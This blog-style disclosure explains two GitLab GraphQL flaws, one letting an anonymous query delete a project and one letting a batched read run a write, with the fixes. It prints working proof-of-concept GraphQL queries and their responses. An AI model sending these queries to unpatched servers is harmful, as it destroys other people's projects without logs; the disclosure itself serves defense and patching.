August 20, 2026
One Slot Ran Another Slot’s Code: Inside CVE-2026–19478
A GitLab GraphQL bug where a “read” quietly ran a “write.” Follow the exploit on GitHub: CVE-2026–19478
By First name Last name
3 min read
GitLab has a GraphQL API. You can ask it questions ("read") or tell it to do things ("write"). One lets a plain read quietly turn into a hidden write. The other is worse: a single request, with no login at all, can delete a real project, just by asking for a field that does not exist. Here is the whole story.
A tiny bit of background
GitLab ships some new fields early, but hides them until the right release. You tag a field like this:
count @gl_introduced(version: "99.0.0")count @gl_introduced(version: "99.0.0")If your GitLab is older than that version, GitLab hides the field and returns null instead. Simple idea. This lab found two ways it breaks.
Bug #1: asking for a field that isn't there
Normally, if you ask GraphQL for a field that does not exist, it just says "no such field" and stops. But GitLab has a fallback: if a missing field carries the @gl_introduced tag, GitLab builds a stand-in field on the fly, so old and new servers don't break each other during a rolling deploy.
Here is the code that builds the stand-in:
def fallback_field(name:)
GraphQL::Schema::Field.new(
owner: self,
name: name,
type: GraphQL::Types::Boolean,
fallback_value: nil
)
enddef fallback_field(name:)
GraphQL::Schema::Field.new(
owner: self,
name: name,
type: GraphQL::Types::Boolean,
fallback_value: nil
)
endThis looks safe. It says "return nil" (fallback_value: nil). But it never says how to get the value. And when a GraphQL field has no instructions, the underlying library falls back to its own default: call a Ruby method with the same name, on the real object behind the field.
So if you ask for a field called destroy, and the object behind it is a real GitLab project, the library calls project.destroy. For real. fallback_value: nil only kicks in if the method truly does not exist. If it does exist, even a dangerous one, it runs.
Proof
I made a throwaway public project. Then, with no login, no token, one plain HTTP request, I sent this:
query {
project(fullPath: "root/verify-disposable") {
id
destroy @gl_introduced(version: "99.0.0")
}
}query {
project(fullPath: "root/verify-disposable") {
id
destroy @gl_introduced(version: "99.0.0")
}
}GitLab answered:
{ "data": { "project": { "id": "gid://gitlab/Project/2", "destroy": true } } }{ "data": { "project": { "id": "gid://gitlab/Project/2", "destroy": true } } }Then I checked the project again, this time with a real admin token, through the normal REST API:
GET /api/v4/projects/2 -> 404GET /api/v4/projects/2 -> 404Gone. One anonymous request. No trick payload, no batching, no login. Just a field name that happened to match a real, dangerous method.
It gets worse. GitLab's own server logs showed 9 database writes for that one request, and zero new entries in the audit log. Deleting a project the normal way goes through a proper service, it logs the action, fires webhooks, leaves a trail. This skipped all of it and went straight to the database.
I reproduced this three separate times, on three separate disposable projects. Same result every time.
Bug #2: one slot in a batch runs another slot's code
GitLab lets you send many GraphQL operations in one request; a batch. This second bug lives in how GitLab tracks state across a batch.
The code that runs this feature keeps its notes in one shared box:
def parse(query_string:)
@original_query_document = super # shared box
@contain_future_fields = false
filter = FutureFieldFilter.new(@original_query_document.dup)
filter.visit.tap { @contain_future_fields = filter.contain_future_fields }
end
def execute_query(query:)
return super unless @contain_future_fields
query.instance_variable_set(:@document, @original_query_document) # swap
query.send(:prepare_ast)
super
enddef parse(query_string:)
@original_query_document = super # shared box
@contain_future_fields = false
filter = FutureFieldFilter.new(@original_query_document.dup)
filter.visit.tap { @contain_future_fields = filter.contain_future_fields }
end
def execute_query(query:)
return super unless @contain_future_fields
query.instance_variable_set(:@document, @original_query_document) # swap
query.send(:prepare_ast)
super
endGitLab uses one box for the whole batch, and it reads every operation before it runs any of them. So the box only ever remembers the last thing put in it.
Send two operations in one batch:
-
Slot 1:
query { currentUser { username } }; a plain read. -
Slot 2:
mutation { starProject(…) { count @gl_introduced(version: "99.0.0") } }; a write, with a future field.
Now follow the box:
-
parse(slot 1)→ box holds slot 1. Flag: no future field. -
parse(slot 2)→ box holds slot 2. Flag: yes, future field. (This overwrites slot 1's state.) -
execute(slot 1)→ flag is on, so GitLab swaps slot 1's query with the box → slot 1 now runs slot 2.
Slot 1 said "read." Slot 1 ran the write. That is the whole bug. Old state from the last parse leaks into the first run.
Proof
Baseline star count was 1. I sent the batch above. Slot 1 the one that only asked for a username came back with {"starProject":{"count":"0"}}. The star count dropped to 0.
This one needs a login with an API token to actually change something. Sent with no login at all, the swap still happens, the read slot really does reach the write, but GitLab has a second lock on every mutation:
Ability.allowed?(current_user, :execute_graphql_mutation, :global)Ability.allowed?(current_user, :execute_graphql_mutation, :global)With no login, that check says no, and the write is stopped at the door. Bug #1 has no such lock in its path at all. It never goes through a mutation, so this lock never even applies to it.
The fix
Two small changes, one for each bug.
Bug #1's fix: give the stand-in field real instructions, instead of letting it fall through to the default:
resolver_class: Resolvers::NilResolver
# and NilResolver#resolve just returns nil. Always. No method call, ever.resolver_class: Resolvers::NilResolver
# and NilResolver#resolve just returns nil. Always. No method call, ever.Bug #2's fix: stop using one shared box. Give each operation its ownnotes, keyed by its own document:
@introduced_tracer_data[filtered_document] = {
original_document: original_document,
contain_future_fields: filter.contain_future_fields
}
# …later…
doc_data = @introduced_tracer_data[query.document] # look up the right one@introduced_tracer_data[filtered_document] = {
original_document: original_document,
contain_future_fields: filter.contain_future_fields
}
# …later…
doc_data = @introduced_tracer_data[query.document] # look up the right oneFixed in: 18.11.11, 19.0.8, 19.1.6, 19.2.4. If you run GitLab, upgrade.
The lesson
Two different mistakes, one shared cause: trusting a default too much.
Bug #1 trusted a library's default behavior, "call a method with this name" without checking whether the name was safe first. Bug #2 trusted a shared variable to hold the right thing at the right time, without checking who else might write to it first.
Neither one is exotic. Both are the kind of thing that looks completely fine in a code review, right up until someone sends a field name the code never expected.
One made-up field name. One deleted project.
Lab, PoCs, patch, and full evidence are in the repo. Everything under src/ is real upstream GitLab source, not a rewrite.